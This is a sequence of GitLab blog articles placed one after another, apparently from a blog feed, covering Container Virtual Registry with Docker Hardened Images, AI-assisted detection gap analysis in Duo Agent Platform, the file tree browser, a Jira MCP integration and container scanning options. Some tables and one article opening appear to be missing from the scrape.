"Security says we need to use hardened base images."

"Great, where do I configure credentials for yet another registry?"

"Also, how do we make sure everyone actually uses them?"

Or this one:

"Why are our builds so slow?"

"We're pulling the same 500MB image from Docker Hub in every single job."

"Can't we just cache these somewhere?"

I've been working on Container Virtual Registry at GitLab specifically to solve these problems. It's a pull-through cache that sits in front of your upstream registries — Docker Hub, dhi.io (Docker Hardened Images), MCR, and Quay — and gives your teams a single endpoint to pull from. Images get cached on the first pull. Subsequent pulls come from the cache. Your developers don't need to know or care which upstream a particular image came from.

This article shows you how to set up Container Virtual Registry, specifically with Docker Hardened Images in mind, since that's a combination that makes a lot of sense for teams concerned about security and not making their developers' lives harder.

What problem are we actually solving?

The Platform teams I usually talk to manage container images across three to five registries:

• Docker Hub for most base images
• dhi.io for Docker Hardened Images (security-conscious workloads)
• MCR for .NET and Azure tooling
• Quay.io for Red Hat ecosystem stuff
• Internal registries for proprietary images

Each one has its own:

• Authentication mechanism
• Network latency characteristics
• Way of organizing image paths

Your CI/CD configs end up littered with registry-specific logic. Credential management becomes a project unto itself. And every pipeline job pulls the same base images over the network, even though they haven't changed in weeks.

Container Virtual Registry consolidates this. One registry URL. One authentication flow (GitLab's). Cached images are served from GitLab's infrastructure rather than traversing the internet each time.

How it works

The model is straightforward:

Your pipeline pulls:
  gitlab.com/virtual_registries/container/1000016/python:3.13

Virtual registry checks:
  1. Do I have this cached? → Return it
  2. No? → Fetch from upstream, cache it, return it

You configure upstreams in priority order. When a pull request comes in, the virtual registry checks each upstream until it finds the image. The result gets cached for a configurable period (default 24 hours).

┌─────────────────────────────────────────────────────────┐
│                    CI/CD Pipeline                       │
│                          │                              │
│                          ▼                              │
│   gitlab.com/virtual_registries/container/<id>/image   │
└─────────────────────────────────────────────────────────┘
                           │
                           ▼
┌─────────────────────────────────────────────────────────┐
│            Container Virtual Registry                   │
│                                                         │
│  Upstream 1: Docker Hub ────────────────┐               │
│  Upstream 2: dhi.io (Hardened) ────────┐│               │
│  Upstream 3: MCR ─────────────────────┐││               │
│  Upstream 4: Quay.io ────────────────┐│││               │
│                                      ││││               │
│                    ┌─────────────────┴┴┴┴──┐            │
│                    │        Cache          │            │
│                    │  (manifests + layers) │            │
│                    └───────────────────────┘            │
└─────────────────────────────────────────────────────────┘

Why this matters for Docker Hardened Images

Docker Hardened Images are great because of the minimal attack surface, near-zero CVEs, proper software bills of materials (SBOMs), and SLSA provenance. If you're evaluating base images for security-sensitive workloads, they should be on your list.

But adopting them creates the same operational friction as any new registry:

• Credential distribution: You need to get Docker credentials to every system that pulls images from dhi.io.
• CI/CD changes: Every pipeline needs to be updated to authenticate with dhi.io.
• Developer friction: People need to remember to use the hardened variants.
• Visibility gap: It's difficulat to tell if teams are actually using hardened images vs. regular ones.

Virtual registry addresses each of these:

Single credential: Teams authenticate to GitLab. The virtual registry handles upstream authentication. You configure Docker credentials once, at the registry level, and they apply to all pulls.

No CI/CD changes per-team: Point pipelines at your virtual registry. Done. The upstream configuration is centralized.

Gradual adoption: Since images get cached with their full path, you can see in the cache what's being pulled. If someone's pulling library/python:3.11 instead of the hardened variant, you'll know.

Audit trail: The cache shows you exactly which images are in active use. Useful for compliance, useful for understanding what your fleet actually depends on.

Setting it up

Here's a real setup using the Python client from this demo project.

Create the virtual registry

from virtual_registry_client import VirtualRegistryClient

client = VirtualRegistryClient()

registry = client.create_virtual_registry(
    group_id="785414",  # Your top-level group ID
    name="platform-images",
    description="Cached container images for platform teams"
)

print(f"Registry ID: {registry['id']}")
# You'll need this ID for the pull URL

Add Docker Hub as an upstream

For official images like Alpine, Python, etc.:

docker_upstream = client.create_upstream(
    registry_id=registry['id'],
    url="https://registry-1.docker.io",
    name="Docker Hub",
    cache_validity_hours=24
)

Add Docker Hardened Images (dhi.io)

Docker Hardened Images are hosted on dhi.io, a separate registry that requires authentication:

dhi_upstream = client.create_upstream(
    registry_id=registry['id'],
    url="https://dhi.io",
    name="Docker Hardened Images",
    username="your-docker-username",
    password="your-docker-access-token",
    cache_validity_hours=24
)

Add other upstreams

# MCR for .NET teams
client.create_upstream(
    registry_id=registry['id'],
    url="https://mcr.microsoft.com",
    name="Microsoft Container Registry",
    cache_validity_hours=48
)

# Quay for Red Hat stuff
client.create_upstream(
    registry_id=registry['id'],
    url="https://quay.io",
    name="Quay.io",
    cache_validity_hours=24
)

Update your CI/CD

Here's a .gitlab-ci.yml that pulls through the virtual registry:

variables:
  VIRTUAL_REGISTRY_ID: <your_virtual_registry_ID>

  
build:
  image: docker:24
  services:
    - docker:24-dind
  before_script:
    # Authenticate to GitLab (which handles upstream auth for you)
    - echo "${CI_JOB_TOKEN}" | docker login -u gitlab-ci-token --password-stdin gitlab.com
  script:
    # All of these go through your single virtual registry
    
    # Official Docker Hub images (use library/ prefix)
    - docker pull gitlab.com/virtual_registries/container/${VIRTUAL_REGISTRY_ID}/library/alpine:latest
    
    # Docker Hardened Images from dhi.io (no prefix needed)
    - docker pull gitlab.com/virtual_registries/container/${VIRTUAL_REGISTRY_ID}/python:3.13
    
    # .NET from MCR
    - docker pull gitlab.com/virtual_registries/container/${VIRTUAL_REGISTRY_ID}/dotnet/sdk:8.0

Image path formats

Different registries use different path conventions:

Verify it's working

After some pulls, check your cache:

upstreams = client.list_registry_upstreams(registry['id'])
for upstream in upstreams:
    entries = client.list_cache_entries(upstream['id'])
    print(f"{upstream['name']}: {len(entries)} cached entries")

What the numbers look like

I ran tests pulling images through the virtual registry:

The first pull is the same speed (it has to fetch from upstream). Every pull after that, for the cache validity period, comes straight from GitLab's storage. No network hop to Docker Hub, dhi.io, MCR, or wherever the image lives.

For a team running hundreds of pipeline jobs per day, that's hours of cumulative build time saved.

Practical considerations

Here are some considerations to keep in mind:

Cache validity

24 hours is the default. For security-sensitive images where you want patches quickly, consider 12 hours or less:

client.create_upstream(
    registry_id=registry['id'],
    url="https://dhi.io",
    name="Docker Hardened Images",
    username="your-username",
    password="your-token",
    cache_validity_hours=12
)

For stable, infrequently-updated images (like specific version tags), longer validity is fine.

Upstream priority

Upstreams are checked in order. If you have images with the same name on different registries, the first matching upstream wins.

Limits

• Maximum of 20 virtual registries per group
• Maximum of 20 upstreams per virtual registry

Configuration via UI

You can also configure virtual registries and upstreams directly from the GitLab UI—no API calls required. Navigate to your group's Settings > Packages and registries > Virtual Registry to:

• Create and manage virtual registries
• Add, edit, and reorder upstream registries
• View and manage the cache
• Monitor which images are being pulled

What's next

We're actively developing:

• Allow/deny lists: Use regex to control which images can be pulled from specific upstreams.

This is beta software. It works, people are using it in production, but we're still iterating based on feedback.

Share your feedback

If you're a platform engineer dealing with container registry sprawl, I'd like to understand your setup:

• How many upstream registries are you managing?
• What's your biggest pain point with the current state?
• Would something like this help, and if not, what's missing?

Please share your experiences in the Container Virtual Registry feedback issue.

Related resources

• New GitLab metrics and registry features help reduce CI/CD bottlenecks
• Container Virtual Registry documentation
• Container Virtual Registry API

At GitLab, our Signals Engineering team is responsible for building and maintaining the detections that protect the platform and the company. We deal with the same detection gap problem that every security team does so we’ve automated detection gap analysis with GitLab Duo Agent Platform to improve our assessment of those gaps and how we can close them.

In this article, you'll learn our strategy, which includes two AI agents you can use in your environment: the built-in Security Analyst Agent and a custom agent we built and named the Detection Engineering Assistant.

The detection gap problem

A detection gap is exactly what it sounds like: an attacker took an action, and your detections didn't catch it. Gap analysis is the process of systematically reviewing security incidents to identify those missed opportunities and determine what new or improved detections would close them.

The challenge isn't that gap analysis is conceptually hard. It's that it requires careful, methodical reading of incident data and mapping those events to your detection coverage. For a single incident, a skilled analyst can do it well. But across a steady stream of incidents, with multiple engineers contributing, it's difficult to maintain consistency and easy to let the review become shallow.

We wanted a process that was repeatable, thorough, and embedded directly in the workflow where our security incidents already live: GitLab issues.

What is GitLab Duo Agent Platform?

GitLab Duo Agent Platform is GitLab's framework for building and deploying agentic AI agents that can reason, take actions, and integrate natively with GitLab resources like issues, merge requests, and code. Unlike a simple chat interface, agents in Duo Agent Platform can be given specific roles, domain knowledge, and access to tools, making them effective for domain-specific workflows like security operations.

GitLab Duo Agent Platform gives you two practical paths:

1. Use a pre-built agent — GitLab ships several out-of-the-box agents, including a Security Analyst Agent designed for security-related tasks.
2. Build your own agent — You can create a custom agent in just a few minutes by giving it a name, a description, and a system prompt. The system prompt is where the real power lies.

Both paths are viable for detection gap analysis. Let's look at each.

1. Security Analyst Agent

The easiest way to get started is with Security Analyst Agent, which comes pre-configured with security domain knowledge and can be invoked directly from a GitLab issue.

To use the agent for gap analysis, we navigate to a closed incident issue and ask the agent to review the incident description, timeline, tasks, and comments to identify where detections were absent or insufficient. The agent reads the issue content — including comments, linked artifacts, and timeline details — and reasons over it to surface potential gaps. It can identify undetected tactics, techniques, and procedures (TTPs) mapped to MITRE ATT&CK and suggest areas where new detection rules could improve coverage.

This works well for a quick first pass, especially if your incident issues are well-documented. Security Analyst Agent is knowledgeable about general security concepts, common attacker behaviors, and detection principles. For teams just getting started with AI-assisted operations, it provides immediate value with no configuration required.

That said, the pre-built agent doesn't know your specific environment, including your SIEM, your log sources, your detection stack, or your team's detection engineering standards. For us, that meant the recommendations, while valid in general, sometimes missed the specific context we needed to translate them into actionable detections. That's what led us to build our own agent.

2. Building the Detection Engineering Assistant

Creating a custom agent in GitLab Duo Agent Platform is surprisingly straightforward. From the Duo Agent Platform interface, you give the agent a name (we called ours the Detection Engineering Assistant), a brief description, and a system prompt. That's it. The agent is ready to use.

The system prompt is the most important part. It's the agent's knowledge base: everything it knows about your team, your environment, your standards, and how it should reason about its work. A thin, vague system prompt produces thin, vague output. A verbose, carefully crafted system prompt produces an agent that behaves like a knowledgeable member of your team.

Here's the approach we took when writing our system prompt for the Detection Engineering Assistant:

Define the agent's role and scope clearly

We opened the system prompt by telling the agent exactly what it is and what it's responsible for. Not just "you are a security analyst." We specifically prompted: "You are a detection engineering assistant for GitLab's Signals Engineering team, responsible for analyzing security incidents and identifying gaps in our detection coverage." This framing anchors every response it produces.

Encode your detection philosophy

We wrote out what "a good detection" means to us: low false positive rates, high signal fidelity, and actionable alerts that provide responders with the context they need. We explained our preference for behavioral detections over IOC-based detections where possible, and described how we think about the tradeoff between coverage breadth and alert fatigue.

Give it context on your tech stack and log sources

An agent can only recommend what you can actually build. We told the agent which log sources we ingest, what our SIEM looks like, and what data is and isn't available to us. This means when it recommends a new detection, it does so in terms of what we can actually implement, not hypothetical telemetry we don't have.

Ground it in MITRE ATT&CK

We told the agent to organize its gap findings using ATT&CK tactics and techniques. This gives us consistent, structured output that maps directly to how we track coverage internally, and makes it easy to prioritize which gaps to address first.

Set expectations for output format

We specified exactly what we want the agent to produce: a structured list of detection gaps, each with the relevant ATT&CK technique, a description of what was missed, the log source or data that could support a detection, and a recommended approach. A consistent output format makes the findings easier to triage and turn into engineering work.

Example system prompt excerpt

Note: Our full Detection Engineering Assistant system prompt is 1,870 words and 337 lines. The example below is just a small example of what a full custom system prompt can be.

You are the Detection Engineering Assistant for GitLab's Security Operations team. Your role is to analyze closed security incidents and identify gaps in our detection capabilities.

When reviewing an incident, you should:
1. Identify each distinct attacker action or technique described in the incident timeline
2. For each action, assess whether our existing detections would have caught it
3. For any action that would not have been detected, document it as a detection gap

For each gap, provide:
- MITRE ATT&CK Technique ID and name (e.g., T1078 - Valid Accounts)
- A plain-language description of what happened and why it wasn't detected
- The log source or telemetry that could support a detection (e.g., authentication logs, process execution events, network flow data)
- A recommended detection approach, written in terms our SIEM can implement

Our SIEM ingests [log sources]. Our detection standards prioritize behavioral patterns over static IOCs. Avoid recommending detections that would generate significant false positives without a high-confidence tuning path...

A system prompt this specific produces dramatically more useful output than a generic one. The agent stops giving you general security advice and starts giving you detection engineering recommendations.

Running gap analysis on incidents

With the Detection Engineering Assistant configured, the workflow is simple. At the close of an incident, we open the incident issue in GitLab and invoke the assistant. It reads the full issue — the incident summary, timeline, investigative notes, and any linked resources — and returns a structured gap analysis.

A typical output looks like this:

Gap: Lateral movement via valid credentials not detected

• ATT&CK: T1078.004 — Valid Accounts: Cloud Accounts
• What happened: An attacker used a valid access token to authenticate to an auxiliary GitLab instance. No alert fired because we lacked authentication baseline detections for that instance.
• Log source: Authentication logs from example.gitlab.com
• Recommended approach: Create a detection that alerts on first-time authentication from a user account to example.gitlab.com within a 90-day rolling window, with suppression for accounts with established access patterns.

This kind of structured output goes directly into our engineering backlog. We treat the agent's analysis as a high-quality first draft. It gets reviewed by a human engineer who validates the findings, checks whether gaps are already covered by detections we haven't documented, and adds context before it becomes an engineering issue. But the hard work of reading the incident and generating the initial findings is automated.

What we've learned

A few things stand out from building and iterating on this workflow:

The system prompt is a living document — Every time the agent produces an output that misses something obvious or gets the framing wrong, we update the prompt. The agent's quality is a direct reflection of how well we've encoded our domain knowledge into it.

Incident documentation quality matters — An agent can only reason over what's written down. Incidents with detailed, structured timelines produce much better gap analysis than sparse or informal ones. Building the gap analysis workflow created an unexpected second benefit: it gave us a concrete reason to improve our incident documentation standards.

This is a force multiplier, not a replacement — The Detection Engineering Assistant doesn't replace a skilled detection engineer, but it does amplify one. The engineer still reviews the findings, validates the recommendations, and makes the final call on what goes into the backlog. But the time spent on the initial analysis drops significantly, and the consistency across incidents improves.

Get started

If you want to build your own detection gap analysis agent, here's where to start:

1. Review your last three to five closed incidents and note what a good gap analysis would have surfaced for each.
2. Use those observations to draft a system prompt that encodes your environment, standards, and preferred output format.
3. Create a custom agent in GitLab Duo Agent Platform with your prompt.
4. Run it against one of your incidents and iterate on the prompt based on the output.

The detection gap problem isn't going away. But with GitLab Duo Agent Platform, you can make the analysis repeatable, consistent, and embedded directly in the place where your security work already happens.

Start a free trial of GitLab Duo Agent Platform today!

It works. It just gets old fast.

If you have ever wished the repository browser felt more like your IDE and less like a series of breadcrumb trails, the file tree browser in GitLab 18.9 is for you.

What the file tree browser does

The file tree browser adds a collapsible, resizable panel alongside your file and directory views so your project structure stays visible while you read and navigate code. No more losing your place. No more clicking back to figure out where you are.

It shows your project’s files and directories in a tree alongside the file list and file content so you can see structure and code at the same time.

If you have used a file tree in an IDE or a Git platform, it should feel familiar:

Navigate with structure

Expand and collapse directories and switch between files while keeping a clear view of where you are in the repository hierarchy. When you navigate directly to a nested file, the tree expands parent directories and highlights the current file so you do not lose context. The tree also synchronizes with your current location, so selecting a file in the main content area updates the tree to match.

Filter by filename

After opening the tree, press F to open the global search dialog. Type part of a filename to jump to it from the results list, with each result showing its parent directories so you know where you are landing.

Keyboard-first navigation

The tree implements the W3C ARIA treeview pattern, so you can move through files and directories entirely from the keyboard using arrow keys plus Enter, Space, Home, End, and character keys. That makes it more accessible for screen reader users and anyone who prefers to keep their hands on the keyboard.

Responsive across viewports

On a desktop, the tree sits side by side with your file list and code. On smaller viewports, it becomes a left-side drawer you can toggle open when you need it. On mobile, the tree is hidden so the code view can use the full screen.

Built for large repositories

For repositories with many entries, the tree uses pagination so you can load more items as needed without overwhelming the page. The experience stays responsive as your project grows.

See the file tree browser in action

Watch GitLab Principal Developer Advocate Michael Friedrich walk through the new file tree browser in GitLab and see how it makes navigating large repositories feel like working in your IDE. The demo uses the GitLab project: Tanuki IoT Platform project, which you can explore yourself to try the file tree in a real repository.

Try the file tree browser today

The file tree browser is available now on GitLab.com and was released in 18.9 for GitLab Self-Managed and GitLab Dedicated.

Here is how to get started:

1. Open any repository file or directory view in your project (/<project>/-/tree/<branch>).
2. In the upper left corner, select the file tree icon or press Shift+F to toggle the file tree browser.
3. Press F to filter files by name or extension, start typing, and use the arrow keys plus Enter to jump directly to the file you want.

What’s next

The Source Code team at GitLab built the file tree browser with accessibility, performance at scale, and cross-viewport consistency as core requirements. Those principles will continue to guide what comes next, and your feedback will help us shape future iterations.

Help us continue to improve the file tree browser

Share your thoughts about the file tree browser in our feedback issue.

Want to learn more about the file tree browser? Read the file tree browser documentation.

With GitLab Duo Agent Platform's MCP support, you can now connect Jira or any tool that supports MCP directly to your AI-powered development environment. Query issues, update tickets, and sync your workflow — all through natural language, without ever leaving your IDE.

What you'll learn

In this tutorial, we'll walk you through:

• Setting up the Jira/Atlassian OAuth application for secure authentication
• Configuring GitLab Duo Agent Platform as an MCP client
• Three practical use cases demonstrating real-world workflows

Prerequisites

Before getting started, ensure you have the following:

Understanding the architecture

GitLab Duo Agent Platform acts as an MCP client, connecting to the Atlassian MCP server to access your Jira project management data. Atlassian MCP server handles authentication, translates natural language requests into API calls, and returns structured data back to GitLab Duo Agent Platform — all while maintaining security and audit controls.

Part 1: Configure Jira OAuth application

To securely connect GitLab Duo Agent Platform to your Jira instance, you'll need to create an OAuth 2.0 application in the Atlassian Developer Console. This grants to GitLab the MCP server authorized access to your Jira data.

Setup steps

If you prefer to configure manually, follow these steps:

1. Navigate to the Atlassian Developer Console
   • Go to developer.atlassian.com/console/myapps
   • Sign in with your Atlassian account
2. Create a new OAuth 2.0 app
   • Click Create → OAuth 2.0 integration
   • Enter a name (e.g., "gitlab-dap-mcp")
   • Accept the terms and click Create
3. Configure permissions
   • Navigate to Permissions in the left sidebar.
   • Add Jira API and configure the following scopes:
     • read:jira-work — Read issues, projects, and boards
     • write:jira-work — Create and update issues
     • read:jira-user — Read user information
4. Set up authorization
   • Go to Authorization in the left sidebar
   • Add a callback URL for your environment (https://gitlab.com/oauth/callback)
   • Save your changes
5. Retrieve credentials
   • Navigate to Settings
   • Copy your Client ID and Client Secret
   • Store these securely — you'll need them for the MCP configuration

Interactive walkthrough: Jira OAuth setup

Click on the image below to get started.

Part 2: Configure GitLab Duo Agent Platform MCP client

With your OAuth credentials ready, you can now configure GitLab Duo Agent Platform to connect to the Atlassian MCP server.

Create your MCP configuration file

Create the MCP configuration file in your GitLab project at .gitlab/duo/mcp.json:

{
  "mcpServers": {
    "atlassian": {
      "type": "http",
      "url": "https://mcp.atlassian.com/v1/mcp",
      "auth": {
        "type": "oauth2",
        "clientId": "YOUR_CLIENT_ID",
        "clientSecret": "YOUR_CLIENT_SECRET",
        "authorizationUrl": "https://auth.atlassian.com/oauth/authorize",
        "tokenUrl": "https://auth.atlassian.com/oauth/token"
      },
      "approvedTools": true
    }
  }
}

Replace YOUR_CLIENT_ID and YOUR_CLIENT_SECRET with the credentials you generated in Part 1.

Enable MCP in GitLab

1. Navigate to your Group Settings → GitLab Duo → Configuration
2. Make sure “Allow external MCP tools” is checked

Verify the connection

Open your project in VS Code and ask in GitLab Duo Agent Platform chat:

What MCP tools do you have access to?

Then

Test the MCP JIRA configuration in this project

At this point you'll be redirected from the IDE to the MCP Atlassian website to approve access:

Verify with the MCP Dashboard

GitLab also provides a built-in MCP Dashboard directly in your IDE for this.

In VS Code or VSCodium, open the Command Palette (Cmd+Shift+P on macOS, Ctrl+Shift+P on Windows/Linux) and search for "GitLab: Show MCP Dashboard". The dashboard opens in a new editor tab and gives you:

• Connection status for each configured MCP server
• Available tools exposed by the server (e.g., jira_get_issue, jira_create_issue)
• Server logs so you can see exactly which tools are being called in real time

Interactive walkthrough: Testing MCP

Part 3: Use cases in action

Now that your integration is configured, let's explore three practical workflows that demonstrate the power of connecting Jira to GitLab Duo Agent Platform.

Planning assistant

Scenario: You're preparing for sprint planning and need to quickly assess the backlog, understand priorities, and identify blockers.

This demo shows you how to:

• Query the backlog
• Identify unassigned high-priority issues
• Get AI-powered sprint recommendations

Example prompts

Try these prompts in GitLab Duo Agent Platform Chat:

List all the unassigned issues in JIRA for project GITLAB

Suggest the two top issues to prioritize and summarize them. Assign them to me.

Interactive walkthrough: Project planning

Issue triage and creation from code

Scenario: While reviewing code, you discover a bug and want to create a Jira issue with relevant context — without leaving your IDE.

This demo walks you through:

• Identifying a bug while coding
• Creating a detailed Jira issue via natural language
• Auto-populating issue fields with code context
• Linking the issue to your current branch

Example prompts

Search in JIRA for a bug related to: Null pointer exception in PaymentService.processRefund().
If it does not exist create it with all the context needed from the code. Find possible blockers that this bug may cause.

Create a new branch called issue-gitlab-18, checkout, and link it to the issue we just created. Assign the JIRA issue to me and mark it as in-progress.

Interactive walkthrough: Bug review and task automation

Cross-system incident investigation

Scenario: A production incident occurs, and you need to correlate information from Jira (incident ticket), GitLab Project Management, your codebase, and merge requests to identify the root cause.

This demo demonstrates:

• Fetching incident details from Jira
• Correlating with recent merge requests in GitLab
• Identifying potentially related code changes
• Generating an incident timeline
• Design a remediation plan and create it as a work item in GitLab

Example prompts

"We have a production incident INC-1 about checkout failures. Can you help me investigate with all available context?"

Create a timeline of events for incident INC-1 including related Jira issues and recent deployments

Propose a remediation plan

Interactive walkthrough: Cross-system troubleshooting and remediation

Troubleshooting

These are some common setup issues and quick fixes:

For detailed troubleshooting, see the GitLab MCP clients documentation.

Security considerations

When integrating Jira with GitLab Duo Agent Platform:

• OAuth tokens — Make sure credentials remain secure
• Principle of least privilege — Only grant the minimum required Jira scopes
• Token rotation — Regularly rotate your OAuth credentials as part of security hygiene

Summary

Connecting GitLab Duo Agent Platform to different tools through MCP transforms how you interact with your development lifecycle. In this article, you have learned how to:

• Query issues naturally — Ask questions about your backlog, sprints, and incidents in natural language.
• Create and update issues on all your DevSecOps environment — File bugs and update tickets without leaving your IDE.
• Correlate across systems — Combine Jira data with GitLab project management, merge requests, and pipelines for complete visibility.
• Reduce context switching — Keep your focus on code while staying connected to project management.

This integration exemplifies the power of MCP: standardized, secure access to your tools through AI, enabling developers to work more efficiently without sacrificing governance or security.

Read more

• GitLab Duo Agent Platform adds support for Model Context Protocol
• What is Model Context Protocol?
• Agentic AI guides and resources
• GitLab MCP clients documentation
• Get started with GitLab Duo Agent Platform: The complete guide

In this guide, we'll explore the different types of container scanning GitLab offers, how to enable each one, and common configurations to get you started.

Why container scanning matters

Security vulnerabilities in container images create risk throughout your application lifecycle. Base images, OS packages, and application dependencies can all harbor vulnerabilities that attackers actively exploit. Container scanning detects these risks early, before they reach production, and provides remediation paths when available.

Container scanning is a critical component of Software Composition Analysis (SCA), helping you understand and secure the external dependencies your containerized applications rely on.

The five types of GitLab Container Scanning

GitLab offers five distinct container scanning approaches, each serving a specific purpose in your security strategy.

1. Pipeline-based Container Scanning

• What it does: Scans container images during your CI/CD pipeline execution, catching vulnerabilities before deployment
• Best for: Shift-left security, blocking vulnerable images from reaching production
• Tier availability: Free, Premium, and Ultimate (with enhanced features in Ultimate)
• Documentation

GitLab uses the Trivy security scanner to analyze container images for known vulnerabilities. When your pipeline runs, the scanner examines your images and generates a detailed report.

How to enable pipeline-based Container Scanning

Option A: Preconfigured merge request

• Navigate to Secure > Security configuration in your project.
• Find the "Container Scanning" row.
• Select Configure with a merge request.
• This automatically creates a merge request with the necessary configuration.

Option B: Manual configuration

• Add the following to your .gitlab-ci.yml:

include:
  - template: Jobs/Container-Scanning.gitlab-ci.yml

Common configurations

Scan a specific image:

To scan a specific image, overwrite the CS_IMAGE variable in the container_scanning job.

include:
  - template: Jobs/Container-Scanning.gitlab-ci.yml

container_scanning:
  variables:
    CS_IMAGE: myregistry.com/myapp:latest

Filter by severity threshold:

To only find vulnerabilities with a certain severity criteria, overwrite the CS_SEVERITY_THRESHOLD variable in the container_scanning job. In the example below, only vulnerabilities with a severity of High or greater will be displayed.

include:
  - template: Jobs/Container-Scanning.gitlab-ci.yml

container_scanning:
  variables:
    CS_SEVERITY_THRESHOLD: "HIGH"

Viewing vulnerabilities in a merge request

Viewing Container Scanning vulnerabilities directly within merge requests makes security reviews seamless and efficient. Once Container Scanning is configured in your CI/CD pipeline, GitLab automatically display detected vulnerabilities in the merge request's Security widget.

• Navigate to any merge request and scroll to the "Security Scanning" section to see a summary of newly introduced and existing vulnerabilities found in your container images.
• Click on a Vulnerability to access detailed information about the finding, including severity level, affected packages, and available remediation guidance.

This visibility enables developers and security teams to catch and address container vulnerabilities before they reach production, making security an integral part of your code review process rather than a separate gate.

Viewing vulnerabilities in Vulnerability Report

Beyond merge request reviews, GitLab provides a centralized Vulnerability Report that gives security teams comprehensive visibility across all Container Scanning findings in your project.

• Access this report by navigating to Security & Compliance > Vulnerability Report in your project sidebar.
• Here you'll find an aggregated view of all container vulnerabilities detected across your branches, with powerful filtering options to sort by severity, status, scanner type, or specific container images.
• You can click on a vulnerabilty to access its Vulnerablity page.

Vulnerability Details shows exactly which container images and layers are impacted, making it easier to trace the vulnerability back to its source. You can assign vulnerabilities to team members, change their status (detected, confirmed, resolved, dismissed), add comments for collaboration, and link related issues for tracking remediation work.

This workflow transforms vulnerability management from a spreadsheet exercise into an integrated part of your development process, ensuring that container security findings are tracked, prioritized, and resolved systematically.

View the Dependency List

GitLab's Dependency List provides a comprehensive software bill of materials (SBOM) that catalogs every component within your container images, giving you complete transparency into your software supply chain.

• Navigate to Security & Compliance > Dependency List to access an inventory of all packages, libraries, and dependencies detected by Container Scanning across your project.
• This view is invaluable for understanding what's actually running inside your containers, from base OS packages to application-level dependencies.

You can filter the list by package manager, license type, or vulnerability status to quickly identify which components pose security risks or compliance concerns. Each dependency entry shows associated vulnerabilities, allowing you to understand security issues in the context of your actual software components rather than as isolated findings.

2. Container Scanning for Registry

• What it does: Automatically scans images pushed to your GitLab Container Registry with the latest tag
• Best for: Continuous monitoring of registry images without manual pipeline triggers
• Tier availability: Ultimate only
• Documentation

When you push a container image tagged latest, GitLab's security policy bot automatically triggers a scan against the default branch. Unlike pipeline-based scanning, this approach works with Continuous Vulnerability Scanning to monitor for newly published advisories.

How to enable Container Scanning for Registry

1. Navigate to Secure > Security configuration.
2. Scroll to the Container Scanning For Registry section.
3. Toggle the feature on.

Prerequisites

• Maintainer role or higher in the project
• Project must not be empty (requires at least one commit on the default branch)
• Container Registry notifications must be configured
• Package Metadata Database must be configured (enabled by default on GitLab.com)

Vulnerabilities appear under the Container Registry vulnerabilities tab in your Vulnerability Report.

3. Multi-Container Scanning

• What it does: Scans multiple container images in parallel within a single pipeline
• Best for: Microservices architectures and projects with multiple container images
• Tier availability: Free, Premium, and Ultimate (currently in Beta)
• Documentation

Multi-Container Scanning uses dynamic child pipelines to run scans concurrently, significantly reducing overall pipeline execution time when you need to scan multiple images.

How to enable Multi-Container scanning

1. Create a .gitlab-multi-image.yml file in your repository root:

scanTargets:
  - name: alpine
    tag: "3.19"
  - name: python
    tag: "3.9-slim"
  - name: nginx
    tag: "1.25"

2. Include the template in your .gitlab-ci.yml:

include:
  - template: Jobs/Multi-Container-Scanning.latest.gitlab-ci.yml

Advanced configuration

Scan images from private registries:

auths:
  registry.gitlab.com:
    username: ${CI_REGISTRY_USER}
    password: ${CI_REGISTRY_PASSWORD}

scanTargets:
  - name: registry.gitlab.com/private/image
    tag: latest

Include license information:

includeLicenses: true

scanTargets:
  - name: postgres
    tag: "15-alpine"

4. Continuous Vulnerability Scanning

• What it does: Automatically creates vulnerabilities when new security advisories are published, no pipeline required
• Best for: Proactive security monitoring between deployments
• Tier availability: Ultimate only
• Documentation

Traditional scanning only catches vulnerabilities at scan time. But what happens when a new CVE is published tomorrow for a package you scanned yesterday? Continuous Vulnerability Scanning solves this by monitoring the GitLab Advisory Database and automatically creating vulnerability records when new advisories affect your components.

How it works

1. Your Container Scanning or Dependency Scanning job generates a CycloneDX SBOM.
2. GitLab registers your project's components from this SBOM.
3. When new advisories are published, GitLab checks if your components are affected.
4. Vulnerabilities are automatically created in your vulnerability report.

Key considerations

• Scans run via background jobs (Sidekiq), not CI pipelines.
• Only advisories published within the last 14 days are considered for new component detection.
• Vulnerabilities use "GitLab SBoM Vulnerability Scanner" as the scanner name.
• To mark vulnerabilities as resolved, you still need to run a pipeline-based scan.

5. Operational Container Scanning

• What it does: Scans running containers in your Kubernetes cluster on a scheduled cadence
• Best for: Post-deployment security monitoring and runtime vulnerability detection
• Tier availability: Ultimate only
• Documentation

Operational Container Scanning bridges the gap between build-time security and runtime security. Using the GitLab Agent for Kubernetes, it scans containers actually running in your clusters—catching vulnerabilities that emerge after deployment.

How to enable Operational Container Scanning

If you are using the GitLab Kubernetes Agent, you can add the following to your agent configuration file:

container_scanning:
  cadence: '0 0 * * *'  # Daily at midnight
  vulnerability_report:
    namespaces:
      include:
        - production
        - staging

You can also create a scan execution policy that enforces scanning on a schedule by the GitLab Kubernetes Agent.

Viewing results

• Navigate to Operate > Kubernetes clusters.
• Select the Agent tab, and choose your agent.
• Then select the Security tab to view cluster vulnerabilities.
• Results also appear under the Operational Vulnerabilities tab in the Vulnerability Report.

Enhancing posture with GitLab Security Policies

GitLab Security Policies enable you to enforce consistent security standards across your container workflows through automated, policy-driven controls. These policies shift security left by embedding requirements directly into your development pipeline, ensuring vulnerabilities are caught and addressed before code reaches production.

Scan execution and pipeline policies

Scan execution policies automate when and how Container Scanning runs across your projects. Define policies that trigger container scans on every merge request, schedule recurring scans of your main branch, and more. These policies ensure comprehensive coverage without relying on developers to manually configure scanning in each project's CI/CD pipeline.

You can specify which scanner versions to use and configure scanning parameters centrally, maintaining consistency across your organization while adapting to new container security threats.

Pipeline execution policies provide flexible controls for injecting (or overriding) custom jobs into a pipeline based on your compliance needs.

Use these policies to automatically inject Container Scanning jobs into your pipeline, fail builds when container vulnerabilities exceed your risk tolerance, trigger additional security checks for specific branches or tags, or enforce compliance requirements for container images destined for production environments. Pipeline execution policies act as automated guardrails, ensuring your security standards are consistently applied across all container deployments without manual intervention.

Merge request approval policies

Merge request approval policies enforce security gates by requiring designated approvers to review and sign off on merge requests containing container vulnerabilities.

Configure policies that block merge when critical or high-severity vulnerabilities are detected, or require security team approval for any merge request introducing new container findings. These policies prevent vulnerable container images from advancing through your pipeline while maintaining development velocity for low-risk changes.

Choosing the right approach

For comprehensive security, consider combining multiple approaches. Use pipeline-based scanning to catch issues during development, container scanning for registry for continuous monitoring, and operational scanning for production visibility.

Get started today

The fastest path to container security is enabling pipeline-based scanning:

1. Navigate to your project's Secure > Security configuration.
